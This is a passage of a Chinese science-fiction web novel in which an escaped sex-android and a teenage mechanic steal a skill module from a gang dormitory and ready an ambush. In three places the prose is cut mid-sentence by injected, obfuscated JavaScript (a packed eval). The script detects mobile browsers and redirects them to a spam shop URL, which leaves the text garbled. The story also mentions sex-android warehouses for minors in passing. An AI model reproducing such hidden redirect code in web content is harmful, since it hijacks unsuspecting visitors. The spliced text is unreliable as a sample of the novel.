几盏路灯跟谢顶脑袋上的头发一样稀疏分布,数栋黑黢黢的建筑显出不规则轮廓;较远处,几栋粉色高楼灯火通明,硕大的蜜桃图案挂于楼顶,边缘轮廓还嵌有间歇闪烁的LED灯珠。 她抬头,顶上的夜空看上去没什么特殊之处。 “防护罩是透明的。”沈司奥把李哥的智能终端丢给时却,示意她戴上,并解释道。“附近这些都是其他类型待启用仿生人的仓库。” “……分这么细?”时却干巴巴地应道,戴上李哥的智能终端。屏幕亮起,显示当前时间是12月28日的凌晨三点半。 “情趣型仿生人是个总称,下面还有更细分的类别,”沈司奥说,“你所在的仓库是成年女性,这附近还有分别存放成年男性、未成年女性、未成年男性和非人的几个仓库。最远处几栋亮灯的是接待客人的地方,蜜桃的正门也在那附近。” 他们找到李哥的摩托,它被隐蔽地藏于附近草坪的一块巨石后。这摩托大体看上去都是时却司空见惯的结构,唯有表盘部分被一整块屏幕所代替。 这要怎么开? 时却翻出后备箱的头盔和手套穿戴好,跨上摩托。后座一沉,沈司奥上车。 她正想问这玩意该怎么开,腕上李哥的智能终端兀自亮起,摩托前部的屏幕也亮起,显出一幅导航画面。 导航的起点是摩托的当前所在位置,终点是“宿舍”二字,再下面还有三个显眼选项。 一个是自动驾驶,一个是手动驾驶,一个是语音识别行程。 “自动驾驶。”沈司奥道。时却依言照做,“预计10分钟后到达目的地”的提示浮现在屏幕中下部。 就,还挺傻瓜式操作的。 一声轰鸣,二人出发。路上偶尔可见零星几个人,对二人均视若无睹。 就在屏幕显示还有一分钟的直行路程就能到达宿舍时,道路前方,从侧边的一条辅路里一溜钻出六个喝得烂醉的大汉,两两成双,勾肩搭背地,边走边鬼吼鬼叫。 时却左肩一沉,沈司奥的手用力压上来。 “点语音。” 前面是李哥的熟人。时却立刻反应过来,按下语音识别行程的按钮。摩托顺从地刹车。 李哥的声音从后头传来,惟妙惟肖:“去最近的车棚。” 出门……不,出箱撞大运,捡了个哆啦A梦。时却舔舔嘴唇。 还是机械师都这么多面手?有机会的话,她能不能也搞个相关的功能模块装装? 摩托掉头,朝那几个醉鬼的反方向驶离。片刻,于夜色和呼呼风声中,时却远远望见一片漆成灰色的7字型车棚,流线型的顶盖下方空空如也。 “这里原来都是些用来接送客户的花架子车。”沈司奥言简意赅地介绍,“防护罩要关闭的消息一出,老大就把这里的车都卖了。” 摩托驶入,他和时却先后下车。时却道:“那几个人看起来要回宿舍。” “绕路走过去,”沈司奥说,“醉成那样,只能希望他们一回宿舍就躺,直接不省人事。” “从哪走?” “废品场。离这不远。” 时却跟在沈司奥后头七拐八弯走了几分钟,来到所谓的废品场前。 它位于蜜桃的边缘地带,是个巨大的平层仓房,只有门没有窗,门上显眼地安有刷卡器。 沈司奥说,原先关着时却的仓库的门禁,用的是虹膜识别技术,他是花时间做了一番前置准备后,今天才能快速黑进去,再实现开门,使他们能走出仓库。 而与之相反,废品场的设施属于比较老旧的类型,用李哥的智能终端在刷卡器上刷一下,仓房门就能直接打开。 他们刚要进门,时却身形一滞。 她感到地面在轻微地震颤。说不清楚为何能如此判断,她莫名笃定那是众多车辆凑在一块行驶造成的影响。 有车队在深沉的黑暗中,于距离他们有段距离的地方赶路,它行进的方向是…… 它在绕行,绕着蜜桃。 时却迎上沈司奥投来的问询目光,犹豫了一下,说出自己察觉到的情况。沈司奥再三确认时却笃定那是车队后,脸色肉眼可见地变得有些焦急。 “是蝎子,十三区的地头蛇帮派。”他深吸口气,“还记得我说防护罩只能抵消大部分辐射吗?这剩下的部分辐射,一般来说,一些能经掺了特殊材料的无窗建筑抵消,一些则能由安装在智能终端里的特殊材料抵消,这种材料俗称护身符。仿生人体内也有护身符,和电池一块安在脑袋里。蝎子这次就是来洗劫仿生人体内护身符的。 “蝎子大概会先控制各侧门,再从正门进攻,发起混战。这对我们有利,我们可以浑水摸鱼跑出去,就是得加快动作了。混战开始前,你必须装上入伍新兵。” 时却点头表示会意,想到另一件事,好奇道:“我拿了李哥的智能终端,那他没了护身符……?” 沈司奥道:“除非瞬时暴露在大剂量之下,否则辐射对人的影响,需要累计到一定程度才会体现,并不是护身符一离身,人就会暴毙。” 时却刷开废品场的门,沈司奥在前她在后,二人匆匆跑入。 废品场内很伸手不见五指,沈司奥在身侧弄出个球形的纯白投影,那投影小范围地照亮二人周侧。 ……奇怪的是,时却在这有限的照明中,看到了很多东西,且它们并不算很模糊。 废品场里,绿色胶带贴在灰色的水泥地上,构成一条条没有任何杂物阻挡的人行道。 在人行道之外,用相同材质但颜色为蓝的胶带围成有数个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959992|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方形区域,每个区域用于堆放不同的仿生人部件。 最开始,二人依次经过了分别用于下肢、臀部、上身、上肢、头的五个蓝色区域。这种区域内的仿生人部件都比较完整,也比较整洁,只有电线从部件的断面支棱出来,偶尔闪出几点零星火花。 再继续跑,接下来的区域里的东西看起来则比较零碎。 再详细点说的话,远远望到废品场出口时,时却随沈司奥已跑过了四个区域,这四个区域依次堆放有五官、皮肤、骨头、内脏;这些器官都湿漉漉的,黏腻腻的,几乎是泡在了仿人血的红色导液里。 很奇怪,她不该看得这么清楚。几个小时前,她被关在箱子里,箱外不开灯,她就什么也看不着。 时却甚至觉得,哪怕沈司奥熄了那团光,她也不会两眼一抹黑。 不光如此。 吸气,呼气,吸气,呼气。 时却呼吸平稳,跑动得很轻松,甚至迁就沈司奥的速度,压了步子。 而与之形成明显对比的是,前头的书呆子沈司奥听上去似乎喘得快要昏死过去了。 不是说什么,情趣型仿生人限制了身体机能? 时却调出信息界面。 【机体状态:尚可(?) 剩余电量:25%(请及时充电) 当前功能模块:①性技巧大师1.0、②性技巧大师2.0】 尚可二字后面多了个问号。时却重新隐藏信息界面,心知并不是深入探究的好时机。 十几秒后,二人站在废品场的出口大门前休息。主要是沈司奥休息,他满头大汗,弯着腰,手支在膝盖上,呼哧呼哧狂喘。 “抱歉,等、等我两分钟,咳、咳。” 时却嗯一声回应他,视线落在大门边上,那里围了个比之前见过的蓝色区域都大的紫色区域,里头堆起一小座尸山。 这是一座待分拣的,仿生人的尸山。 时却走近几步,弯腰细看。 紫色区域里的仿生人大多肢体完好,只外表一塌糊涂,要么是遍布伤痕,要么是老旧,且肉眼可见的拟人化程度低。 此外,所有仿生人太阳穴上的蜜桃标记都被去掉了,只留下浅淡的一圈痕迹;这圈痕迹中间还有刺青,是罗马数字,从“I”到“V”都有。 乍看过去,罗马数字分布的规律大抵为,仿生人若身上有越多拟人化程度低的地方,则太阳穴上的罗马数字越小。 这种拟人化程度低,不是说身上有明显被设计为是非人部位的地方,而是更细致的特征。例如,皮肤更像硅胶制品,关节连接处比起真人更像木偶。 又比如,太阳穴上的数字最小的I代是全铁制的,外表没有包裹任何拟人皮肤,眼睛是玻璃制品,除了有一个脑袋、身体和四肢外,再无半点和人类相似的地方,相比起叫仿生人,还不如叫机器人来得更贴切些。 “那是代数,”呼吸稍平稳的沈司奥说,“最新的是第七代仿生人。” 时却想起箱子上的信息。“我是七代。” 沈司奥点头,“去掉蜜桃的标记,就能看到你的皮肤上的‘VII’标记。” 二人离开废品场。大门即将闭合时,鬼使神差地,时却回头看了一眼。黑暗中,在那堆尸山上,仿生人们的脸或正或斜地对着她,眼睛睁得滚圆。 终有一日,她也会毫无声息地躺在这样的某座尸山上吗? 6. 入伍新兵 凌晨四点整,二人赶到蜜桃的宿舍,那也是一栋无窗楼。 将手腕靠近宿舍门的刷卡器,时却再次默念接下来的行动要点,那是沈司奥离开废品场后边走边叮嘱的。 确保挡在沈司奥身前,方便他伪装李哥发声。 进门后,直走入电梯,刷终端搭乘;李哥的单人间宿舍在710,刷终端进门。只要进门,事情成功大半。 滴。 宿舍门打开,喧闹声、食物香气和浓重的烟酒气味混杂在一起,直冲人面。 大厅正中架了个巨大的烧烤炉,炉上方悬空吊着根可伸缩排烟管,被片得薄薄的各式肉在烧烤网上滋滋冒油,十几个人围坐在炉旁,烟头和空啤酒瓶满地都是。 ……不愧是黑恶势力窝子,凌晨还在精力旺盛地聚众BBQ。 时却绕开那群人,目不斜视地往电梯走。 “站住!”有个男人喊。 时却侧身,沈司奥动作自然地退到一边。他没办法直接走到时却身后去,这么做的话太显刻意。 男人摇摇晃晃站起身,眼神发直:“干、干啥去了?” 他边上全是醉醺醺的大汉,不知道哪些是方才路上碰到的醉鬼,哪些不是。能确定的是,发话的这个男人肯定是李哥的熟人。 “还、还能干嘛啊他,他就那、那点爱好。”有人大着舌头搭男人的话,声音听上去有些耳熟。 ……是白天里给李哥送饭的人。 男人抓上几把肉串,一步三歪地蹭到时却边上,笑嘻嘻将肉串往她胸前怼。 在油汪汪的脂肪蹭到夹克前,时却绷着劲抬手一挡,顺势接住。 男人暂时没发现异常,哥俩好地上手,使出吃奶的劲儿搂时却:“让他自己讲!晚上推掉哥们儿的邀约,干啥好事去了!?” 他嗓门极大,引好几个人扭头朝这边看。 时却一把推开那男人,把肉串塞给沈司奥,借机站到他面前。 天花板上的灯立刻接触不良般连续闪烁。有人抬头,响亮地骂起脏话。 时却举双手,左手食指和拇指弯曲组成一个圆圈,右手除食指外皆虚握起,右手食指穿入左手捏成的圆圈里,来回□□几下。 明暗交界中,李哥的声音大大咧咧道:“干女人去了。” 男人哈哈大笑,大力连拍时却的肩膀数下,嘴里含混道:“我、我就知道!” 人群中,四五人也跟着起哄调笑。 时却耸肩,李哥的声音继续粗声粗气:“他X的,你们不知道,今晚找的那娘们可够劲了。” “那你肯定累坏了,”男人挤眉弄眼,视线转落到沈司奥身上,“哎,怎么这小子也在,你带他回去干嘛,换口味了,拿他干下半场啊?” “去你X,老子喜欢女的,”时却一拳锤在那男人肩部,“之前托你带的那副外骨骼出了点毛病,找他看看。” “行,去吧,兄弟!” 男人打了个酒嗝,挥挥手,摇摇晃晃回到烧烤炉边。 灯光恢复正常。时却带沈司奥走开几步,还能听到男人对同伴大声抱怨这灯怎么时好时坏的声音。 有惊无险地脱了身,他们顺利等到一部无人的电梯,上七楼,找到李哥的房间。 李哥的宿舍是个一室零厅,床边的桌子前坐着个闭眼的肌肉壮汉,显然就是那个战斗仿生人。除此之外,房内没有其他超出时却理解的东西。 关上门,沈司奥立刻道:“暂时安全。” 时却长出口气,摘下头盔和手套,露出粘在额边的湿发。 沈司奥摸摸胸口,呼出他的屏幕和键盘,打开工具包架好工作台,动作间不时用眼角余光撇她。 时却几步便在房内转完一圈,手里攥着几张随手的纸巾,随意擦干汗,被瞧得莫名其妙。 “有话直说。” “我从没见过有七代仿生人能拟人到你这种程度。”沈司奥边敲键盘边说,“你还能察觉到车队经过蜜桃外的动静,这不是情趣型仿生人能做到的事情。” “也许是我以前的能力,就是……当战斗型的时候。” 沈司奥摇头。 “一般情况下,战斗型也做不到这种事。仿生人的专精程度很高,情趣型只为性.交体验而设计,战斗型只为正面对抗而生,你刚才表现出来的能力,偏向侦查型仿生人。” 时却自己都一头雾水,自然不知道这话该怎么接,索性回以沉默。她拿出RPG游戏里闯入村民家翻箱倒柜找宝箱的气势,想尽量从李哥这刮走点东西。 当然了,是否有用她不能判断,所以和沈司奥简单说了下,打算先把看上去能派得上用场的玩意统一丢床上,临走前由他再甄别价值。 沈司奥在工作台的桌前坐下,对肌肉壮汉念出一串序列号。肌肉壮汉睁眼,走到他面前,转身盘腿坐下,背对他。 只听滴滴两声,肌肉壮汉的后脖颈上显出个接入口。沈司奥从工作台上扯出根电缆线插进那接入口,漂浮在他身侧的屏幕一闪,显出正在载入中的进度条。 时却见状,不由摸摸后颈,指尖下只触到光滑温暖的肌肤。 沈司奥留意到,解释说:“仿生人接收到对应命令码后,才会打开连接口。每个仿生人都有一套专属于自己的命令码,通过对应命令码,可以对仿生人进行唤醒、维修、强制关机等动作。为方便安装入伍新兵,李哥给了我个限时使用的维修命令码,还在有效期内。” 时却打开冰箱,里头除了酒,只有几个包装相同的罐头。闻言,她搭在冰箱门上的手一紧。“你有我的全套命令码么?” 八成没有,不过保险起见,还是试探地问问看。 果不其然,沈司奥摇头。 “蜜桃将每个仿生人的不同命令码分别储存在加密等级不一的系统中,仓库只储存有用于唤醒的命令码。” 全息屏幕发出悦耳的叮咚声,提示进度条加载完成。数行代码瀑布般飞流而下,在沈司奥的眼镜上倒映出一串串蓝色溪流。 他伸出手指在屏幕上划,眼球跟随手指而动。 “当然,也可以采用耗时间的办法对仿生人命令码进行缓慢破解。这也是为什么,李哥会在只有出入仓库权限的前提下偷卖仿生人。” 时却没去细看冰箱里的酒,摸出其中一个罐头。这罐头的名字怪怪的,叫“盐水红豆(三级)”,后面写的三级是什么意思不清楚。 出于对盐水配红豆这个诡异组合的敬谢不敏,时却嫌弃地将其放原位。 她道:“你忙的话,我们稍后再谈。” “无所谓,不是什么复杂的活,我在回收它体内关于入伍新兵的数据,”沈司奥说,“我知道你想问什么,对于异常仿生人,有的命令码起效,有的无效。” 时却检查完冰箱,转战衣柜,一阵窸窣后,从柜子最下层里扯出个越野背包。 她拍拍背包上头的灰,准备将其丢到床上,若有所思:“安装功能模块的话,要打开我的接入口吧,破解得花多长——” 滴,滴。 时却手一抖,背包啪一声径直砸到脚背上。她往后颈摸,轻易摸到块原先绝对不存在的凹陷处,往里再进,如同压在数根针头上般,指尖传来细密且钝的触感。 她在肌肉壮汉边上坐下,侧身对沈司奥,确保他能进行操作,自己还能看见他。 “把嘴合上,”她无奈道,“眼睛也别瞪这么圆。” 沈司奥闭嘴低头,双手背到身后去,几秒钟后又若无其事地各自归位。 他的动作幅度有点大,右侧袖口蹭到躯干,往上缩了些许,手腕处露出新鲜的月牙形状掐痕。 这下,时却晓得沈司奥此前背手都在干什么了。 ……这是一个小动作,他感到紧张时,就掐自己,左手掐右手。又因为不想被人发现,所以才将手背到身后去。 自打交道以来,沈司奥表现得相当成熟,此刻见他尴尬中透出一点青涩,时却才想起眼前这位可能未成年,或才刚成年。 她忍不住问:“哎,你具体多大?” 沈司奥顺着时却的目光看到那掐痕,明白过来自己漏了馅,瞬间闹了个大红脸,木然道:“……十七。” 真是未成年啊。时却差点被自己的口水呛死。她摸摸鼻子,强行挽尊:“呃,那什么,继续干活呗。” 年轻的机械师斜她一眼,大抵是想着被发现了又能怎样,脸上的温度来得快去得也快,十分敬业地进入工作状态,叫时却对他的性格有了进一步认识。 漂浮在半空中的屏幕很上道地与键盘分离,飘至二人均能看到的位置。 沈司奥只朝时却脖子上看了一眼,便道:“是标准的接入口,看来不用花时间破解你了。” 屏幕中心弹出个窗口,提示:[功能模块‘入伍新兵’已完成回收] 他拔出肌肉壮汉脖子上的电缆线,捏在手里,询问:“给你装上?” “装。”不然迟早被人打爆。 咔哒,有轻微的牵拉感自身后传来,电缆线与时却的接入口完成咬合。 时却视野内跳出个半透明窗口,上头写着: [请确认当前接入权限] [1.拒绝];[2.允许,给予完全操作权限];[3.允许,但对机体的任何更改均需询问] “奇怪,”沈司奥重重敲几下键盘,“没反应?” 时却默念选3,随即就听沈司奥轻轻舒口气。“接上了。”他说,“你有两个功能模块槽,都被性技巧大师占位了,拆掉1.0那个?” 时却当然无所谓,都拆了也无所谓。她暗中同意弹出的[是否允许性技巧大师1.0被卸载]的询问。 想了想,她询问,在这种接入状态是否有办法顺便破解出她的命令码,自己想看看命令码是否对她起效。 沈司奥给出的回答是,可以很快破解出用于维修她的命令码。 “每个维修师都像你这样万能?”时却半开玩笑道。 沈司奥推推眼镜,语调平平:“接触过的机械师都说我很有天赋。” 陈述句,其中没有自傲的成分。 漂浮在二人周侧的屏幕上显出一行行晦涩代码,沈司奥一只手越过时却的肩膀上方点在某行代码上,慢慢划动。 二人一时无话。 数分钟后,入伍新兵开始安装。 一阵伤口愈合过程中特有的麻痒感自接入口弥散开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959993|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,时却感到有什么东西流入体内。 这感觉很微妙,像是进食了某种品味一般的东西,不怎么好吃,但也算能果腹。 片刻,入伍新兵安装完毕,接着进行用于维修的命令码的破解。 时却调出信息界面,信息界面上果然有更新: 【机体状态:尚可(?) 剩余电量:25%(请及时充电) 当前功能模块:①入伍新兵、②性技巧大师2.0】 她在意识中打开代表入伍新兵的“书”,直接翻到目录页。 入伍新兵提供的东西包括常见冷热兵器的使用方法、一般的格斗招式和技巧,以及常见交通工具的驾驶方法,全是干货。 和性技巧大师不同的是,快速翻阅入伍新兵的详细内容时,时却古怪地油然而生出一种阔别已久的感觉。 更仔细地说,对于入伍新兵里提及的一切,她似曾相识;如同高考过一阵后再接触相关知识点,又像是隔着层毛玻璃看画,朦朦胧胧的,知其型,只是尚需努力回忆细节。 时却十分确定,她能以极快的速度上手入伍新兵里提及的所有东西。这种“极快的速度”,大概可以用上辈子的一件小事类比。 在孩童时期,她曾花为了一个星期学会骑自行车,过后有十几年不再碰,有回换了份新工作后,又需骑电动车出行,于是她买了一辆电动车,从碰电动车起到能娴熟上路,只花了一个下午的时间。 能有这样的意外之喜,八成因为这具身体从前是战斗型的缘故吧。 时却抽出手枪,卸弹匣,确认装弹情况,再装回,检查枪膛,开关保险。第一次,她的动作尚显生疏,第二次,情况稍好些,第三次,十分利索。 “用于维修的命令码,拿到了。”沈司奥说。 他面上露出明显的踌躇之色,犹豫几秒钟,问道:“你怎么三次动作的熟练度不一致?” 时却从中听出端倪。“不该是这样?” “……不该是这样。按理来说,功能模块一经安装,仿生人就可以娴熟使用相关技能。就像安装软件,就像打字,你敲击键盘,屏幕上就该即时出现你所打的东西。” 所以按理来说,功能模块和仿生人之间的关系是:带有文件的U盘插入电脑,U盘拔出来,即便还是那个电脑,也看不着那个文件了。 而她不同,她与功能模块之间是学习者与学习资料的关系。时却万分确定,此前看过的性技巧大师1.0里的那些黄色废料,至今还好好留在她的脑子里。 老实交代是不可能老实交代的,如果能推理出真相,那是沈司奥自己的本事。 时却模糊重点,只和沈司奥说,她直觉入伍新兵提供的技能,她需要一定的练习,才能顺畅用出。 沈司奥听完后,从身上摸出张眼镜布,摘下眼镜若有所思地擦了几下,叹口气,收起工作台,伸出手,手心朝上:“匕首。” 时却不明所以,依言照做。 “来练习一下,”他抿嘴,生疏地举起匕首,“只是为了增加你的熟练度,所以,避开脸,避开眼镜,避开要害,下手轻点。” …… 下手轻点是不可能轻点的。 时却自己也是大姑娘上花轿头一回,又不是老司机。刚开始,她完全没办法掌握分寸,几次差点把沈司奥一拳揍翻或弄骨折。 后来好些了,但也有那么一次,她受袭后下意识咔吧一拧,直接把沈司奥胳膊干脱臼了,导致后者不得不使用速合剂。 ——甚至这速合剂都不是沈司奥自己涂的。 这位小弟弟似乎对疼痛额外敏感,瞬间就眼泪汪汪的,冷汗淋漓且抖成筛糠,速合剂捏在手里半天都挤不出来,叫时却这个始作俑者看着心虚得要命,只好忙劈手夺过药膏,帮他上药。 不过也托他的福,时却多少对这具身体的战斗素质多少有了认识,也熟悉了些格斗技巧。 沈司奥浑身上下都湿透了,随手找身李哥的干净衣物换上。 时却摸摸自己夹克下的银灰色连体衣,也去衣柜里翻出身基础款内搭,顺便拆了条没用过的新内裤,大大咧咧地向沈司奥请教,为什么男士内裤前边还会有个额外呈衬托结构的小口袋。 年轻的机械师涨红了脸,咬牙道:“……问这么多干什么,穿你的。” 啊哦,脸红起来还是有点可爱的嘛。时却耸耸肩,换衣服去了。 沈司奥缓了会,表示可以进行维修用命令码能否命令时却的试验了。这试验进行完,给时却带来了一个好消息和一个不好不坏的消息。 好消息是,无论听几遍命令码,她都左耳朵进右耳朵出,至少用于维修的命令码对她毫无作用。结合这具身体的种种表现,她有理由相信,相对于仿生人的种种受限设定,这具身体八成更优先遵从她的个人意志。 不知好坏的消息是,沈司奥看她的眼神越发意味深长。 ……她也知道自己情况特殊,不过她和沈司奥各有所需,沈司奥年纪小,却不傻,至少不会在这个当口直截了当地对她不利。 她需要一个认识这个陌生世界的窗口。就算这位小弟弟真打算什么时候卖了她,那到底也赚了个入伍新兵,不亏。 7. 首战 此行最重要的目的达成,沈司奥放松不少,也加入搜刮大军。 期间,他更细致地讲了蝎子上门打劫这件事的背景。 蜜桃和蝎子都是十三区的地头蛇帮派,但二者的主营范围不同。黄赌毒,十三区里没贩毒的,只剩下黄和赌,除去些零散小帮派,蜜桃营黄,不沾赌,蝎子营赌,不沾黄,二者相安无事。 最近,蝎子内部起了权利争斗,一把手和二把手之间斗得昏天黑地,蜜桃的老大便起了歪心思,想着扩展业务,悄摸自己也搞了个小赌场,还把手伸进蝎子的地盘撬客户。 没想到事发后,蝎子一二把手立时不内斗了,干脆联合起来对抗外敌。 相比于主要涉黄的蜜桃来说,主要经营赌场的蝎子里当然有更多战斗力,蜜桃完全不敌。在十三区的防护罩被宣布即将废弃的前一天,听李哥说,蜜桃的老大刚决定择日去找蝎子谈判服软。 时却听得入迷。“看来没谈成?” “明显没谈成,”沈司奥从衣柜和墙缝中掏出几捆红色纸钞丢到床上,“防护罩都要关闭了,又只有十二区可去,我原以为他们会忙于搬迁,等到了十二区再清算。” 时却好奇地抽出一张纸钞,其面值为100,正中印有两台计算机。 “这还有。”沈司奥又从床底下不知哪儿摸出几捆绿色纸钞。绿色纸钞的面值是50,上面印有两女一男三个人像。 二人把房间翻了个底朝天,扔得床上满是些鸡零狗碎的物件,不过最后一数,比较重要的只有一件防弹衣和一个手枪消音器。 消音器自然归时却所有,为确保手感,她将其装在手枪上,还费子弹试着开了几枪。 此外,作为无可争议预定了输出位的人,她还获得了对防弹衣的首先试穿权,只是她随即察觉出这玩意又重又勒,十分影响灵活性。 沈司奥很有眼色地立刻打包票,表示只要他还能喘气,时却因中弹嗝屁的风险就相当低。这件防弹衣最后归属了他。 挑拣再三,他们决定还带走时却找到的越野背包,并在包里装上纸钞、手枪子弹和一些用于养护战斗型仿生人的零件。 沈司奥说原来李哥收藏有不少冷热武器和人用的外骨骼,为凑钱买那战斗型仿生人全都偷偷卖了,只留下把手枪和把匕首贴身携带,如今反倒便宜时却。 感恩李哥,希望他在箱子里昏迷得还安详。 确认该做的都做得差不多后,沈司奥动手入侵宿舍的监控,查看一楼那帮BBQ的家伙散了没有,说实在不行,就故技重施,把灯灭掉,他们趁机溜出去。 时却对他万能程度的认识更上一个台阶。沈司奥啊,这家伙完全是杀人放火的必备良品。 全息屏幕显示,一楼还剩下零星两三个人,慢吞吞地在收拾BBQ残局。 沈司奥背上背包,时却重新穿戴好头盔和手套,作为主要战斗力轻装上阵。二人正准备离开房间,轰隆巨响从蜜桃的正门方向传来。 是爆破声,蝎子的进攻正式开始了。 蜜桃的反应不算慢,李哥的智能终端在他们刚踏入电梯起就震动不停。时却抬腕,终端自动亮屏,数条要求李哥带好武器在某处集合的消息连珠炮般弹出。 时却让沈司奥把终端静音,也不允许它再亮屏。万一等下需要潜伏呢,她可不想和电影电视剧中的炮灰一样,因为这种小事暴露。 一出电梯,就见不少全副武装的人急匆匆往外跑,个个如临大敌。托这些人的服,时却和沈司奥混进去,毫不费劲便混入其中,原路返回。 再次跨上摩托,时却在脑中迅速过了一遍于入伍新兵中所见的摩托操作方法,点选手动驾驶。 沈司奥道:“有个侧门附近没什么重要的地方,蜜桃不会优先往那派人,蝎子就算在那守门,也不会布置很多人。我们去那里,在警察来前混出去。直走。” 时却拧动油门,闻言随口说:“警察来了会怎么处理?” “会和稀泥,”沈司奥在呼啸的夜风中接道,“警察不敢得罪蝎子,应该会在蝎子抢得差不多的时候姗姗来迟,叫两方停火,再带点人回去关一晚,做做样子。前面第三个路口左转。” 时却没想到警察的力量孱弱至此。 “每个区都像十三区这样吗?” “各个区有各个区的自己的情况,每个区里不同官方部门的地位和能量也各有区别。十三区算是穷乡僻壤,水并不算深。有的区里,不仅有帮派,还有很多能量不小的企业。右转,直行到第二个路口左转。” 摩托驶入冷清无人的区域。不远处,一扇对开栅栏门映入眼帘,附近的绿化程度不低,门的大半均被遮蔽在树荫之后。 在沈司奥的指示下,时却将车停在片绿化带边上。 “从这开始,不能再骑摩托了,”他道,“蝎子的人人手持枪,过去就是当移动靶。先去看看有几个人守着。” 她掏出手枪,原本看沈司奥手无寸铁,打算把剩下的匕首给他,被拒绝。 未成年机械师撸起袖子,向她展示自己看上去很容易被折断的手臂,用眼神直白传递出一个信息:就算拿了武器,他也是给人家去送的。 他皮肤上还有些湿润的速合剂擦拭过的痕迹,时却瞧了几眼便心虚得转开视线。 借助灌木丛和树木的遮蔽,他们往门的所在位置靠近,直至时却表示隐约可听到巡逻般来回往复的脚步以及被压低的交谈声音,才止住脚步。 感谢这具身体绝佳的听觉,此时他们距离门还有一段相当远的距离,十分安全。 时却凝神观察。 门附近有两片对称设计的绿化带以及一个空保安亭,保安亭里头墙壁的中部有血渍,看颜色才喷溅上去不久。保安亭外有六个人,四个活的两个死的。 死的那两个被晒咸鱼干般整齐地摆着,不消说,肯定是蜜桃的人,原先的守卫。 四个活的人里,一女三男,一男一女相互交谈,剩下两个男的踱来踱去,响动均由他们发出。 再仔细一打量,时却羡慕得口水都要留下来了。 无论交谈组还是巡逻组,身上的装备都贼富裕,统一戴防护镜,斜挎步枪,穿带武装带的战术马甲,马甲上均印有帅气的蝎子图案,身上手枪、匕首、电击棒、烟雾弹和对讲机等装备一应俱全。 沈司奥拍拍时却,散发着极微弱光芒的键盘投影浮现在时却与他之间。 他动手打字,打出的文字几乎是透明的,与二人所在的周边环境基本上融为一体,叫人不贴近了仔细看便什么也看不清。 [情况?] 他打出这两个字后,将键盘推给时却。时却将看到的东西简单总结转告他,并打字道:[一起上打不过,得引。藏好别——] 沈司奥虚按她的手止住她的动作,拉过键盘:[我在这,断对讲机。] 意思是他可以阻止这几人通过对讲机联系到援军。时却点头,冲他比大拇指,找他要了速合剂揣兜里,又在他稍显疑惑的目光下拿了点从李哥那找到的金属零件。 这些零件的特点是体积不大,却具有相当重量。 临走前,沈司奥犹豫几秒钟,抿嘴又打出:[可杀,安全为重。] 这个叮嘱……也不算很在时却的意料之外了。李哥身上的针孔可还没长上呢。 只能说这个世界的未成年挺猛的。 时却拍拍沈司奥的脑袋,摘下头盔抱在怀里,半蹲着和他拉开距离。周遭无人且相对安静,夜风偶尔吹拂,致使树叶和灌木丛发出沙沙声响。这样的坏境试错成本低,任何额外动静都很容易被留意到。 她小心地移动,从另一个方向更接近门附近的四人组。观察了一会后,时却发现蝎子四人组的精神状态皆不太好。 交谈的一男一女两人处,不断传来诸如“无聊”、“带新人”等只言片语。并且,男人似乎从属于一把手,女人似乎和二把手关系更好,因此二人言语之间颇有些夹枪带棒。 女人冷冷嘲笑一把手下面的人不大气,和自家人内斗时也只会偷袭。男人则暗讽总之得手了就行,而且现在正是一致对外的时候,她提这茬,反倒才是那个给二把手找不痛快的人。 女人显然比男人嘴拙些,在唇枪舌剑中处于下风,因此颇有些气急败坏。 除开交谈二人组外,来回巡逻的两人则处于较为松懈的状态,虽在一直走动,但不自觉形成了大概确定的来回往复路线。此外,他们动作之间看上去有些笨拙,并不灵活,其中一人还频繁去摸前胸和后背。 这四人组,个顶个都是有大缝的蛋。时却心下更有几分把握,兴奋地苍蝇搓手手,准备开始行动,挨个儿叮过去。 在四人组和门附近的绿化带里栽有半人高灌木丛,以及众多粗细不一的大树;这其中,粗的树木拥有足以藏下一个成人身影的树干。 她找到块绿化带与马路交接的地界,脱下两只手套,把一部分找沈司奥要来的零件装进其中一只手套里,用余下那只没装零件的手套将这只手套扎紧。 揣上连在一块的两只手套,她又倒放头盔,扣了些泥巴垫进头盔内壁的底部, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959994|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再将余下的零件放入位于头盔内部的泥巴上。零件的置入没有产生任何声响。 时间又过去了一会儿,某个空挡,巡逻二人组远离交谈二人组。 瞄准其中一个巡逻人即将走到的位置的前侧,时却将头盔往灌木丛中一抛,并迅速移动。 头盔滚出小段距离,窸窸窣窣压倒所到之处的植物;其内里的零件离开泥巴,落在光滑的内壁部分上,发出咕噜噜的可疑动静。 